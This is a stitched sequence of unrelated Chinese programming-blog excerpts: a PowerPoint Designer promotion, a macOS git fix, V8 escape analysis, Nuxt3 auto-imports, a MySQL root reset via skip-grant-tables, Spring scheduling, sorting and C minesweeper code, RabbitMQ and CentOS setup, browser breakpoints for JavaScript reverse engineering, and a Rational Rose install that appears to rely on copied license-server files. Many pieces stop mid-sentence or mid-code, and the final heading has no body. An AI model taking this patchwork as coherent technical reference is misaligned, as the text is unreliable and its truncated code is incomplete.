写在开头:要使用此应用程序,需要具有符合条件的 Microsoft 365 订阅。Microsoft 365 包括高级 Word、 Excel和 PowerPoint 应用、OneDrive 中的1TB云存储、高级安全性等,所有这些通过一个订阅即可获得。有了 Microsoft 365,发布新功能后,便可获得这些功能,从而确保始终使用的是最新功能。 使用 PowerPointfor Mac 创建、编辑、协作处理和共享演示文稿。现在,在不同设备上以及与他人协作创建、编辑和共享演示文稿比以往任何时候都要容易。在文档中共享文件并实时协作,或编辑附加到电子邮件的 Office 文档。Word、Excel和PowerPoint 中发布智能辅助功能后,你能立即获取这些功能,从而确保始终使用最新功能。无论你需要展示学校项目、商业计划还是家庭度假照片,PowerPoint 都是用于演示的首选应用。 要做一份满足上述全部要求的演示文稿并不容易,这时,就让《Microsoft PowerPoint》 推出的“设计器”大显身手吧。这是 Microsoft 365 订阅者可以享受的“office 智能服务”项目之一。它采用专业设计师的建议,可以根据演示文稿中每张幻灯片的具体内容,为你提供多种排版方案。 把照片拖放到一张幻灯片上,你就能在“设计灵感”菜单看到多种设计选项。例如,设计器可能会识别 出照片的主体,并把它安排在幻灯片的显眼位置;它也可能捕捉到某个特别的色彩,然后将其运用到 线条、文本框或其他元素上。点按你喜欢的选项,幻灯片就会立即更新。 设计器不仅可以处理照片,还能为文字、列表和日期等对象提供建议。比如,它能自动识别出多个日 期,把它们排成时间轴;或是扫描文字后为你推荐相关的图标。只要把你的内容添加到幻灯片上,选 择工具栏的“设计”,再点按“设计灵感”图标,就可以看到各种设计选项了。 你可以在丰富的排版方案中进行选择,为听众们呈现属于自己的审美。《PowerPoint》团队还会定期 更新这项服务,为你带来源源不断的新鲜设计。这样一来,你就可以全神贯注地打磨整个演示中最重 要的部分了—你的想法。

升级macOS系统到13之后git报错

环境 Apple M1 PromacOS Ventura 13.0.1 问题 今天升级macOS系统到13之后,打开iterm2报错: Last login: Mon Nov 14 10:50:57 on ttys001 [oh-my-zsh] Can't update: not a git repository. 同时,git命令也报错: ➜ ~ git xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun 解决办法 运行 brew install git 命令,报错如下: ➜ ~ brew install git Warning: You are using macOS 13. We do not provide support for this pre-release version. You will encounter build failures with some formulae.

Chrome代码分析(二)——EscapeAnalysisPhase

Chromium Code EscapeAnalysis 当v8在处理js代码时通常会将其转化为字节码进行执行,在遇到热点函数时会用Turbofan将其优化转换为JIT代码来执行以此来提高代码执行效率,Turbofan使用了“Sea of Nodes”的概念它将对象及其一些操作与控制流视作节点(node)然后由这些节点组成图,当Turbofan生成机器码时会先进行优化,优化有多个阶段每个阶段会针对这些节点进行优化将不必要的冗余节点优化简略,EscapeAnalysis(逃逸分析)就是众多阶段之一。 逃逸分析总结来讲就是用来分析js代码中产生对象作用域的一种机制,假设有以下代码: function foo(){ let a = {x:0, y:1}; return a; } let b = foo(); 此代码中的对象a就属于逃逸对象,由于逃逸对象在函数执行完毕后不会被回收所以逃逸分析阶段不会去优化简略逃逸对象。对代码进行一些修改: function foo(){ let a = {x:0, y:1}; a.x = a.x + a.y; return a.x * a.y; } let b = foo(); 以上代码经过优化后等同于: function foo(){ return (0 + 1)*1; } let b = foo(); IR图: 对于以上代码由于对象a未逃逸其作用域仅限于函数内所以将其优化删除。 逻辑代码分析 逻辑流程 逃逸分析阶段代码逻辑大致分为三步: EscapeAnalysis====>EscapeAnalysisResult====>EscapeAnalysisReducer EscapeAnalysis:执行逃逸分析算法逻辑,负责标记节点是否为逃逸(escaped_)。EscapeAnalysisResult:保存逃逸分析结果,EscapeAnalysisTracker的包装类,里面保存逃逸的节点。EscapeAnalysisReducer:将逃逸分析结果应用到图中(Node Graph),将非逃逸对象从图中删除实际上就是将节点从图中孤立出来,将其value置为其node本身再将其effect和control都置为nullptr。 EscapeAnalysis 此阶段从EscapeAnalysisPhase::Run函数开始: 先创建EscapeAnalysis对象,EscapeAnalysis构造函数中主要就是用函数参数来初始化结构成员。 随后执行ReduceGraph函数,ReduceGraph会去调用ReduceFrom函数并将图中根节点传入: 此处涉及到一个graph对象,此对象是图对象,该对象通过end函数可以获取到图中末尾的end节点,同时对应的还有一个start函数用于获取获取start节点,一个zone函数获取zone对象。 ReduceFrom函数采用DFS(深度优先)算法从根节点开始遍历图:

Nuxt3 + Naive UI 的SSG项目分享(三)

入口文件app.vue 最初启动的项目中,在入口文件app.vue中,我们可以看到页面引入组件 NuxtWelcome : <template> <div> <NuxtWelcome /> </div> </template> 它是Nuxt3项目安装时默认引入的欢迎页的组件,我们可以在 node_modules@nuxt\ui-templates\dist\templates 目录下找到 welcome.vue 的文件: 它是在Nuxt3项目自带的.nuxt目录下的components.d.ts里面注册并且自动导入的: 里面我们可以看到welcome被自动导入并且取了NuxtWelcome的组件名称: 这就是Nuxt3项目的自动导入,在 Nuxt3 的约定下,用户在页面文件上使用到的Nuxt3的标签将会被系统自动识别导入到应用程序,以供全局使用。 注意:app.vue是 Nuxt 应用程序的入口组件。在这里面添加的任何内容(JS 和 CSS)都是全局的,会影响到其他页面。 自动导入 上面说到了的是Nuxt3项目使用到一些Nuxt3框架自带的一些标签的自动导入,下面则将介绍Nuxt3项目涉及到的所有的自动导入。 在Nuxt3项目中,有两种自动导入,一种是Vue3的自动导入,另一种则是Nuxt3的自动导入; Vue3的自动导入: 1.script setup,也就是我们常用到的setup语法糖; 2.使用setup语法糖,这些ref,reactive,computed 等等 Vue3 的相关方法; 3.事件传递和组件传值,defineProps ,defineEmits ,defineExpose ; Nuxt3自动导入: 1.数据获取的方法:useAsyncData ,useLazyAsyncData ,useFetch ,useLazyFetch(注意:他们只能在setup或者是生命周期钩子中使用); 2.跨组件状态共享 useState (useState 仅在 setup 和 生命周期钩子 中生效) ; 3.访问运行时配置 useRuntimeConfig (useRuntimeConfig 仅在 setup函数 或 生命周期钩子 内有效)(注意:客户端和服务器端的行为是不同的); 4.创建一条响应式的cookie记录的引用 useCookie ; 5.assets目录下存放的静态图片等资源; 6.components目录下存放 Vue 的相关组件,也就是 .vue 结尾的页面;

Mysql 5.7 忘记root密码或重置密码的详细方法

原文:Mysql 5.7 忘记root密码或重置密码的详细方法 - 北极之光的博客 - 博客园 (cnblogs.com) 1、修改配置文件my.cnf 按i编辑 vim /etc/my.cnf 在[mysqld]中添加 skip-grant-tables 例如: [mysqld] **skip-grant-tables** datadir=/var/lib/mysql socket=/var/lib/mysql/mysql.sock 键盘 Esc 保存修改 :wq退出 2、重启mysql服务 service mysqld restart 3、用户登录 mysql -uroot -p (直接点击回车,密码为空) 选择数据库 use mysql; 修改root用户密码 update user set authentication_string=password('root@123') where user='root'; flush privileges; 4、退出mysql quit; 5、将最开始修改的配置文件my.cnf中的skip-grant-tables删除 6、重启mysql systemctl restart mysqld 7、当你登陆mysql之后你会发现,当你执行命令时会出现 ERROR 1820 (HY000): You must reset your password using ALTER USER statement; 这是提示你需要修改密码 当你执行了 SET PASSWORD = PASSWORD('123456'); 如果执行成功后面的就不要看了,纯属浪费时间!

@Scheduled定时器

目录 一、基本使用 二、参数详解 1. @Scheduled(fixedDelay = 5000) 2. @Scheduled(fixedRate = 5000) 3. @Scheduled(cron = “0 0 2 * * ?”) 4.cron表达式 案例 配置文件 写配置的时候,没有提示,解决方案 三、@Scheduled注意事项 四、 @Scheduled 的执行原理 1、加载使用 @Scheduled 注解的类及方法 2、解析 @Scheduled 的内容,并将定时任务注册到 ScheduledTaskRegistrar 中 3、执行定时任务 总结 定时任务调度:Unexpected error occurred in scheduled task错误 解决 一、基本使用 @Scheduled注解:任务自动化调度。 启用调度支持:@EnableScheduling @SpringBootApplication @EnableScheduling public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } } 二、参数详解 1. @Scheduled(fixedDelay = 5000) 延迟执行。任务在上个任务完成后达到设置的延时时间就执行。此处,任务会在上个任务完成后经过5s再执行。

springbean生命周期源码版本

1、通过AnnotationConfigApplicationContext或者ClassPathXmlApplicationContext调用, 2、通过BeanDefinitionMap中,BeanDefinitionReader读取,BeanDefinitionSacnner扫描,BeanDefinitionRegistr注册(可以通过BeanFactoryPostProcessor修改BeanDefinition,BeanDefinitionRegistryPostProcesor注册DeanDefinition) 3、调用BeanFactory,getBean方法进行生产Bean 4、IOC容器进行Bean的创建,实例化==>填充属性==>解析注解==>***BeanPostProcessor=>实例化前=***BeanPostProcessor=***Aware=>实例化=**Aware=>实例化后==>Aop(CGLB和JDK动态代理)==>存入一级缓存Map(单例池)==>使用==>销毁 其他:初始化后的前面步骤,并调用9次BeanPostProcessor扩展点,在初始化过程中会调用Aware扩展点。BeanNameAware,BeanClassLoaderAware,BeanFactoryAware,EnvironmentAware's,EmbeddedValueResolverAware's,ResourceLoaderAware's,ApplicationEventPublisherAware's,MessageSourceAware's,ApplicationContextAware's,ServletContextAware's

计算Shell脚本执行时间

startTime=`date '+%Y-%m-%d %H:%M:%S'` startTime_s=`date +%s` # 执行程序 endTime=`date '+%Y-%m-%d %H:%M:%S'` endTime_s=`date +%s` # 计算时长 sumTime=$[ $endTime_s - $startTime_s ] echo "$startTime ---> $endTime" "Total:$sumTime seconds"

排序算法之插入排序(带优化)

插入排序 什么是插入排序? 插入排序的原理: 一般也被称为直接插入排序。对于少量元素的排序,它是一个有效的算法 。插入排序是一种最简单的排序方法,它的基本思想是将一个记录插入到已经排好序的有序表中,从而得到一个新的、记录数增 1 的有序表。在其实现过程使用双层循环,外层循环对除了第一个元素之外的所有元素,内层循环对当前元素前面有序表进行待插入位置查找,并进行移动 。 选择排序的基本思想是: 将未排序的元素一个一个地插入到有序的集合中,插入时把所有有序集合从后向前扫一遍,找到合适的位置插入。 案例演示 解释: 如上图,每次按顺序拿出一个数据与其前面的数据依次进行比较,直到找到他应该放的位置,然后放置下一个数据,当一边过去,数组就是一个有序数组了。 时间复杂度: 从上图可知:1+2+3+…+(n-1)=n(n-1)/2 所以时间复杂度为:O(n²)。 算法实现 我们从第二个数据开始,每次获取一个数据,记录下他的值insertVal,如果前一个位置有值且它的值比前一个位置的值小,让他前一个位置的值后移一位,再次进行比较,直到条件不满足,此时就找到了需要插入的位置,将这个数据insertVal放在这个位置,当所有元素遍历完成,此数组即为有序数组。 代码实现(双层for) public static void insert(int[] arr) { //定义临时变量 int insertVal, insertIndex; for (int i = 1; i < arr.length; i++) { insertVal = arr[i]; insertIndex = i - 1; for (int j = 0; j <= i; j++) { if (insertIndex >= 0 && arr[insertIndex] > insertVal) { arr[insertIndex + 1] = arr[insertIndex]; insertIndex--; } else { arr[insertIndex + 1] = insertVal; break; } } } } 结果: 排序前:[114, 34, 119, 1] 排序后:[1, 34, 114, 119] 代码优化 如果我们比较发现这个数当前的位置就是正确位置,不满足if条件在else中就会进行赋值操作,这一步是不是很多余,我们只需要判断一下,insertIndex + 1 !

C语言初阶——扫雷(顶级优化)

先来看一下我们实现的扫雷 !!!我们一起来学习 !!! 目录 一.游戏介绍 二.游戏框架 三.具体实现 1.进入游戏 (1)菜单的打印 (2) 选择游戏 2.生成雷盘 3.初始化雷盘 4.打印雷盘 5.布置雷盘 6.排查雷盘 (1)确定一个棋子的周围雷的个数 (2)排查雷 7.进行优化 (1)递归爆开 (2)特定标记 (3)排雷函数的改写 (4)增加清屏操作 四.完整代码 1.game.h 2.game.c 3.test.c 一.游戏介绍 扫雷游戏相信大家都玩过,上图就是一个网页版的扫雷,它的规则是玩家选择一个方格,若此方格没有地雷,那么该方格会显示与它相邻的八个方格中雷的个数,若此方格有地雷,那么游戏失败,当玩家把除了有地雷的方格外的其他方格都成功翻开时,游戏胜利 二.游戏框架 test.c:游戏逻辑的测试,包含游戏菜单的打印,游戏设计的基本逻辑的展示。 game.c:游戏功能的具体实现,这部分是整个游戏的核心代码,一般不会展示给用户。 game.h:相关头文件的包含、符号的声明以及函数的声明。 三.具体实现 1.进入游戏 这里我们写三个游戏了,我们最开始的时候都是菜单和进入游戏的选择,都是一样的道理 (1)菜单的打印 打印菜单依旧是我们的老方法 void menu() { printf("____________________________________\n"); printf("<$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$>\n"); printf("<$$$$$$ $$$$$$>\n"); printf("<$$$$$$ 1.play $$$$$$>\n"); printf("<$$$$$$ 0.exit $$$$$$>\n"); printf("<$$$$$$ $$$$$$>\n"); printf("<$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$>\n"); printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); } (2)选择游戏 选择游戏也依旧是我们的老方法,while循环加上switch语句来构成选择,里面的游戏函数先不要管 void test() { int input = 0; do { menu(); printf("请选择:>"); scanf("

Centos 安装 RabbitMq

erlang:erlang下载地址 rabbitmq-server:rabbitmq-server下载地址 1-1、下载erlang wget --content-disposition https://packagecloud.io/rabbitmq/erlang/packages/el/8/erlang-25.1.1-1.el8.x86_64.rpm/download.rpm?distro_version_id=205 1-2、解压erlang rpm -Uvh erlang-25.1.1-1.el8.x86_64.rpm 1-3、安装erlang yum install -y erlang 2-1、在RabiitMQ安装过程中需要依赖socat插件,首先安装该插件 yum install -y socat 3-1、下载rabbitmq-server wget https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.11.3/rabbitmq-server-3.11.3-1.el8.noarch.rpm 3-2、解压rabbitmq-server rpm -Uvh rabbitmq-server-3.11.3-1.el8.noarch.rpm 3-3、安装rabbitmq-server yum install -y rabbitmq-server 4-1、启动rabbitmq-server systemctl start rabbitmq-server 4-2、查看rabbitmq-server状态 systemctl status rabbitmq-server 4-3、停止rabbitmq-server systemctl stop rabbitmq-server 4-4、查看用户列表 rabbitmqctl list_users 4-5、创建用户 rabbitmqctl add_user admin 123456 4-6、给用户授权 rabbitmqctl set_user_tags admin administrator 4-7、启用web管理界面 rabbitmq-plugins enable rabbitmq_management 4-8、访问管理界面(IP为你自行安装机器的ip,需要注意的是15672端口是否对外开放,并且服务器安全组是否对外开放此端口,登录时默认guest不能在外网登录,可以新增用户并授权后登录或者修改配置) http://127.0.0.1:15672

macOS系统虚拟机安装centos7(图形化模式)

文章目录 一、准备软件和系统二、安装centos7系统三、配置固定IP便于远程管理 一、准备软件和系统 1、下载MAC虚拟机软件VMware Fusion Pro 11 :https://www.newasp.net/soft/462096.html 2、下载centos7系统镜像:http://mirror.jdcloud.com/centos/7.7.1908/isos/x86_64/CentOS-7-x86_64-DVD-1908.iso 二、安装centos7系统 1、打开虚拟机软件,选择创建自定虚拟机,点击继续。 2、选择Linux,CentOS 7 64 位,点击继续。 3、选择传统BIOS,点击继续。 4、选择新建虚拟磁盘,点击继续。 5、选择自定设置。 6、选择虚拟机存储位置,点击存储。 7、点击CD\DVD(IDE)。(此界面可修改cpu、内存、硬盘、网络适配器模式等) 8、选中连接CD/DVD驱动器,选择系统安装镜像,点击左上角关闭此界面。 9、点击启动图标。 10、向上方向键选择Install CentOS 7,回车开始安装系统。 11、选择安装过程中使用的语言,这里选择中文、简体中文(中国),点击继续。 12、点击网络和主机名,设置网络。 13、首先打开网卡开关,然后查看是否能获取到IP地址(虚拟机网络适配器默认使用NAT模式),更改主机名,点击应用,点击完成。 14、点击日期和时间(T),设置系统日期时间。 15、时区选择亚洲、上海,设置正确的日期和时间,打开网路时间开关(如果宿主主机已经连接互联网,则会自动校准时间),然后点击完成。 16、点击软件选择(S),选择需要安装的软件系统。 17、此处选择带GUI的服务器或GNOME桌面或KDE Plasma Workspaces或开发及生成工作站(安装完成后都可以进入图形化桌面系统)然后点击完成。(若选择基础设施服务器或其他选项,安装完成后进入命令行系统)。 18、选择安装位置(此处可进行磁盘划分)。 19、选择我要配置分区,然后点击完成。 20、弹出下图界面,点击加号,选择/boot,给boot分区分200M,最后点击添加挂载点。 21、然后以同样的办法给其他分区分配空间,分配完成后点击完成。 22、弹出更改摘要界面,点击接受更改。 23、选择开始安装。 24、点击ROOT密码。 25、设置完ROOT密码后点击完成。 26、点击创建用户。 27、输入用户名密码后点击完成(可以设置此账户为管理员)。(因为可能有密码策略,此处密码设置需符合密码策略才可进行下一步安装) 28、等待系统安装完毕重启系统。 29、系统重启后来到如下界面,点击LICENS INFORMATION。 30、选中我同意许可协议,单击完成。 31、点击完成配置。 32、出现如下界面,点击client7b,输入密码,点击登录。 33、登录成功后进入图形化桌面系统。 34、根据自身需要,选择语言、键盘、定位服务时候否开启、跳过连接您的在线账号,点击开始使用即可正常使用系统了。 35、系统界面如下。 三、配置固定IP便于远程管理 1、设置虚拟机的网卡模式。点击网络适配器设置。 2、选中连接网络适配器,选中桥接模式网络连接自动检测(我使用WiFi联网),点击关闭。 3、启动虚拟机,root账号登陆系统,点击右上角网络图标,点击有线,点击有线设置。 4、弹出设置界面,点击下图有线的设置图标。 5、点击IPv4选项卡,设置手动取得IP地址,设置Addresses(虚拟机IP地址、子网掩码、网关),设置DNS,最后点击应用。 6、下图红框内有线先关闭,再打开,最后关闭此界面。(相当于重启网络) 7、桌面鼠标右键,单击打开终端。 8、测试,正常联网。(前提宿主主机已经联网)。 ping -c 3 www.baidu.com 1 9、PuTTY远程登录。

用canvas写个雨滴

html 结构 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> <title></title> <style type="text/css"> *{ margin:0; padding:0; } #canvas{ display:block; background-color:#000; } </style> </head> <body> <canvas id="canvas" width="" height=""></canvas> </body> </html> js代码 let canvas = document.getElementById('canvas'); //定义画布宽高 所需的变量 let ctxWidth; let ctxHeight; //根据浏览器窗口的的改变 实时改变canvas画布的宽高 window.onresize = function(){ rSize(); } rSize() function rSize(){ ctxWidth = window.innerWidth; ctxHeight = window.innerHeight; canvas.width = ctxWidth; canvas.height = ctxHeight; } var ctx = canvas.

洛谷B2005 题解

洛谷B2005 题解 传送门 题意 输出由给定字符组成的三角形 分析 没啥好讲的,上代码 代码 #include <bits/stdc++.h> //万能头 using namespace std; //标准命名空间 int main() { char c; //定义变量 cin >> c; cout << " " << c << endl; cout << " " << c << c << c << endl; cout << c << c << c << c << c; return 0; //别忘了返回0 } 注意事项 在结尾不要有多余的空格前面的空格要看准是几个

Js逆向教程-06js逆向断点的种类及介绍

作者:虚坏叔叔 博客:https://xuhss.com 早餐店不会开到晚上,想吃的人早就来了!😄 Js逆向教程-06js逆向断点的种类及介绍 一、js逆向的前提 能修改输出js运行当中的一些变量的值能下断点批量监听一些变量值 二、什么时断点? 程序运行过程中,可以停下程序运行,可以调试程序中的变量值。 三、断点的种类? DOM断点DOM事件断点XHR断点(XML HTTP REQUEST)代码行断点:最基础断点。代码断点:debugger;全局事件断点(浏览器事件断点)异常捕获断点 四、网站代码运行的时间轴: 加载html==>加载js==>js代码初始化==>用户触发了某个事件==>调用js代码==>加密函数==>给服务器发请求 > 接收到服务器返回的数据>解密函数 ==> 刷网页渲染 五、断点介绍 5.1DOM断点 当渲染时,样式发生改变,会触发DOM断点 它一般在 用户触发了某个事件 时,段下来。执行的比较考前,距离加密函数比较远。所以无法根据栈去快速定位。 它的优点时定位的比较准。 清空Dom断点 5.2DOM事件断点 如果DOM断点不能下断点,我们可以用DOM事件断点来下断点。 它和DOM断点的特性一致。 DOM事件断点是在Element面板的Event Listeners下找到的: 5.3代码行断点 直接在js代码行里面下断点 5.4代码的debugger断点 直接加 debugger; 下断点即可。 5.5XHR断点 XHR断点是在给服务器发请求的时候停下来: 它执行的比较靠后。 优点是距离加密函数相对比较近,可以根据栈来快速定位。缺点是非XHR发送的就断不住这个断点 5.6全局事件断点 它位于Sources面板下的Event Listener Breakpoints 这里可以捕获到网站加载的断点,键盘鼠标的断点等等。 5.7异常捕获断点 只有在跟浏览器参数的时候用的比较多。 只需要将这个复选框勾选上 就会捕获网站上的所有错误异常的断点 主要处理 try catch类型的断点。 总结 最后的最后 由本人水平所限,难免有错误以及不足之处, 屏幕前的靓仔靓女们 如有发现,恳请指出! 最后,谢谢你看到这里,谢谢你认真对待我的努力,希望这篇博客对你有所帮助! 你轻轻地点了个赞,那将在我的心里世界增添一颗明亮而耀眼的星! 💬 往期优质文章分享 C++ QT结合FFmpeg实战开发视频播放器-01环境的安装和项目部署解决QT问题:运行qmake:Project ERROR: Cannot run compiler ‘cl‘. Output:解决安装QT后MSVC2015 64bit配置无编译器和调试器问题Qt中的套件提示no complier set in kit和no debugger,出现黄色感叹号问题解决(MSVC2017)Python+selenium 自动化 - 实现自动导入、上传外部文件(不弹出windows窗口) 🚀 优质教程分享 🚀 🎄如果感觉文章看完了不过瘾,可以来我的其他 专栏 看一下哦~🎄比如以下几个专栏:Python实战微信订餐小程序、Python量化交易实战、C++ QT实战类项目 和 算法学习专栏🎄可以学习更多的关于C++/Python的相关内容哦!直接点击下面颜色字体就可以跳转啦! 学习路线指引(点击解锁)知识定位人群定位🧡 Python实战微信订餐小程序 🧡进阶级本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。💛Python量化交易实战 💛入门级手把手带你打造一个易扩展、更安全、效率更高的量化交易系统❤️ C++ QT结合FFmpeg实战开发视频播放器❤️难度偏高分享学习QT成品的视频播放器源码,需要有扎实的C++知识!💚 游戏爱好者九万人社区💚互助/吹水九万人游戏爱好者社区,聊天互助,白嫖奖品💙 Python零基础到入门 💙Python初学者针对没有经过系统学习的小伙伴,核心目的就是让我们能够快速学习Python的知识以达到入门 🚀 资料白嫖,温馨提示 🚀 关注下面卡片即刻获取更多编程知识,包括各种语言学习资料,上千套PPT模板和各种游戏源码素材等等资料。更多内容可自行查看哦!

趣味小游戏——扫雷(优化版)

目录 一.前言 二.游戏主体框架 三.游戏内部实现 1.给出一个ROW*COL的棋盘 2.初始化两棋盘 3.随机生成雷 4.反馈信息 5.排雷过程 6.优化部分 四.结语 一.前言 这里是趣味小游戏第二篇,扫雷想必也是大家以前电脑上必备的休闲游戏,那么今天我就来带大家用代码的方式来回忆并实现它吧! 二.游戏主体框架 要实现游戏我们首先要搭建出一个主体游戏框架。 #include <stdio.h> void menu() { printf("********************\n"); printf("***** 1.play *****\n"); printf("***** 0.exit *****\n"); printf("********************\n"); } void test() { int input = 0; do { menu();//给出一个游戏的开始菜单 printf("欢迎来到扫雷游戏\n"); printf("输入1开始游戏,输入0退出游戏\n"); printf("请输入:"); scanf("%d", &input); switch (input)//对于不同输入值给出不同结果 { case 1: game();//由此进入游戏 break; case 0: printf("游戏已退出\n");//由此退出游戏 break; default: printf("输入错误,请重新输入:");//输入其他值时给出反馈,增强代码健壮性 break; } } while (input);//输入为真(1)时则进入do里的循环输入为假(0)时即退出循环 } int main() { test();//主体内容 return 0; } 三.

Win10 安装 Rational Rose 教程

这个是基于下面这个博主的进一步说明(一些细节部分): 在这里还是十分感谢这个博主,高质量文章!点赞! https://blog.csdn.net/hdkvsyralkvv_hk/article/details/105330982 一般情况下都会有这个界面: 紧接上文,这个博主的文章: https://blog.csdn.net/hdkvsyralkvv_hk/article/details/105331175 里面的几个细节问题: 这里看蓝色的框: 第一个蓝框: PC是博主计算机的名称,你要安装的话要写自己计算机的名称:(设置-系统-关于-设备名称) 直接复制就好 第二个蓝框 只需要修改前面的路径。后面那个rational.exe我们一会儿复制的不用担心。所以这里得写上\rational.exe 也就是博主写的 SERVER 计算机名 ANY DAEMON rational “自己安装的目录\rational.exe 这两个文件,直接选rose安装目录下Common里面的这两个文件。(是前几步复制好的) 先开始的时候,我这个一直报错。各种各样的,经过我的排查,这里面的错误,都是由于 这个里面没有写对,计算机名称和路径都要写对。 放一下我成功的样子! 我安装的3个小时。。。无语。我原本用的学校云里面的文件 ,但是装到第二篇博客的时候发现有文件不一样。。。用重新用了博主的全文件。建议全部使用博主的文件!!!

C语言计算BMI值,一看就会

#include <stdio.h> int main() { int weight = 0; float height = 0; float BMI = 0; printf("请输入体重和身高\n"); scanf("%d%f", &weight, &height); BMI = weight / (height * height); printf("%f\n", BMI); return 0; } 代码非常简单 只是用了一个scanf输入函数和简单的除法。 此处体重weight是整型变量哦,而身高是float单精度浮点数,可以带小数的。 简单的教程,学会了吗同学们,写代码的第一步是模仿! 加油,追梦人

网络通讯基础OSI参考模型

文章目录 目录 前言 一、数据是什么? 二、什么是OSI参考模型 总结 前言 网络通讯基础OSI参考模型 一、数据是什么? 数据的产生 在计算机领域,数据是各种信息的载体。 那么什么是数据载荷呢?数据载荷就是最终要传递的信息。 比如班长给班群发了个通知告诉班里面的同学们今天晚上开班会,这条开班会这条消息这就是数据载荷 数据传输 大部分应用程序所产生的数据需要在不同的设备之间传递。 二、什么是OSI参考模型 1.物理层 在媒介上传输比特流;提供机械的和电气的规约。 2.数据链路层 将分组数据封装成帧;在数据链路上实现数据的点到点、或点到多点方式的直接通信;差错检测 3.网络层 定义逻辑地址;实现数据从源到目的地的转发,负责将分组报文从源主机发送到目的主机。网络层作用为网络中的设备提供逻辑地址。负责数据包的寻径和转发。 常见协议如IPv4,IPv6、ICMP,IGMP等。 4.传输层 建立、维护和取消一次端到端的数据传输过程。控制传输节奏的快慢,调整数据的排序等等。 5.会话层 在通信双方之间建立、管理和终止会话。 6.表示层 进行数据格式的转换,以确保一个系统生成的应用层数据能够被另外一个系统的应用层所识别和理解。 7.应用层 对应用程序提供接口。 常见的应用层协议 HTTP 80 (TCP) 超文本传输协议,提供浏览网页服务 Telnet 23(TCP) 远程登陆协议,提供远程管理服务 FTP 20、21 (TCP) 文件传输协议,提供互联网文件资源共享服务 SMTP 25(TCP) 简单邮件传输协议,提供互联网电子邮件服务 TFTP69(UDP) 简单文件传输协议,提供简单的文件传输服务 最后:看到这里都比个♥ 总结 以上就是OSI网络参考模型啦,其实在学习中多用的是OSI参考模型,在工业生产中多用的就是TCP/IP参考模型啦,两者差别不大的,只是TCP/IP把七层协议化为了五层

Android Studio修改虚拟机存储路径

虚拟机默认安装在c盘中,这会越来越占c盘内存,可能在虚拟机上运行程序会出现某些错误。 一、配置系统环境变量 1.新建系统变量,选择你想要存储的位置。 2.选择系统变量【Path】,【新建】,将新建的ANDROID_SDK_HOME加进去。 二、完成后重启电脑 三、下载新的虚拟机 会在E:\android路径下自动生成.android文件夹,存放下载的虚拟机 四、删掉C盘中的.android 一般是在c盘-用户-用户名里面 

js题库-3{留言板的制作?jQuery}

给大家展示一下jQuery方法的留言板制作: 基本框架 <div class="liuyan"> <span>请留言:</span> <textarea cols="30" rows="10"></textarea> <button>发布</button> <ul></ul> </div> 参考样式: <style> * { margin: 0; padding: 0; } ul { list-style: none; } .liuyan { width: 600px; margin: 100px auto; border: 1px solid #000; padding: 20px; } textarea { width: 450px; height: 160px; outline: none; resize: none; } ul { width: 450px; padding-left: 80px; } ul li { line-height: 25px; border-bottom: 1px dashed #cccccc; } input { float: right; } </style> 方法:

LeetCode刷题顺序(新手入门)

本刷题策略为leetcode官方的新手村策略,跟着主页官方的新手村策略刷题,按照每天刷三简单题或两中等题或一难题的速度刷题,每天预计花费1.5h 下面的顺序是探索卡中的顺序 数组 分为三部分 1.做好初始定义 2.运用基础算法思想 3.双索引技巧-对撞指针 4.双索引技巧-滑动窗口 1.做好初始定义 移动零 给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。 请注意 ,必须在不复制数组的情况下原地对数组进行操作。 解法 难点就是不复制原数组要原地修改,解法为设置一个res,记录前面的0的个数,每次插入时只要插入到nums[i - res]中即可 移除元素 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 解法 和移动零一样,只不过换成了判断是否等于val 删除有序数组中的重复项 给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。 解法 利用双指针,j用来存储应该插入的下标,i用来遍历 删除有序数组中的重复项II 给你一个有序数组 nums ,请你 原地 删除重复出现的元素,使得出现次数超过两次的元素只出现两次 ,返回删除后数组的新长度。 不要使用额外的数组空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。 解法 int slow = 2, fast = 2; while(fast < n) { if(nums[slow - 2] !

Mac oh-my-zsh更改弹出路径:change prompt path

操作结果 在安装了oh-my-zsh以后,我们可以自由地选择主题和颜色,但此时由于主题本身内嵌了prompt格式,在bash_profile里更改prompt就不再有效,因此需要我们直接进去theme文件中进行修改: 改动之前的效果如图 尽管这样的路径高亮显示很美观,但是随着路径增加,整个终端就显得眼花缭乱了,我个人更倾向于选择极简的风格,因此修改之后的路径仅显示当前所在的父文件路径,更高层路径将会被隐藏,修改后的结果如图: 操作方法 在Home路径中 $ ls -a 找到.oh-my-zsh文件夹,进入/.oh-my-zsh/themes中 随后你会看到所有的theme文件都列在这里,文件都是以bash语法写成的,所以直接通过各种文本编译器打开即可 $ code agnoster.zsh-theme 此处我使用的是agnoster的主题,因此我打开对应的theme文件,command + F 找到如下代码片段: prompt_dir() { prompt_segment blue $CURRENT_FG '%~' } 并将第二行更改为 prompt_segment blue $CURRENT_FG '%c' %c表示仅显示当前所在的路径层级,%~则是现实当前全部的路径层级 修改后,保存 然后回到home路径 source .zshrc 即可实现上述效果 其他操作可参考themes作者的官方github,链接如下: https://github.com/agnoster/agnoster-zsh-theme/issues/19

网络视频ts格式文件下载及将其合成单一视频文件

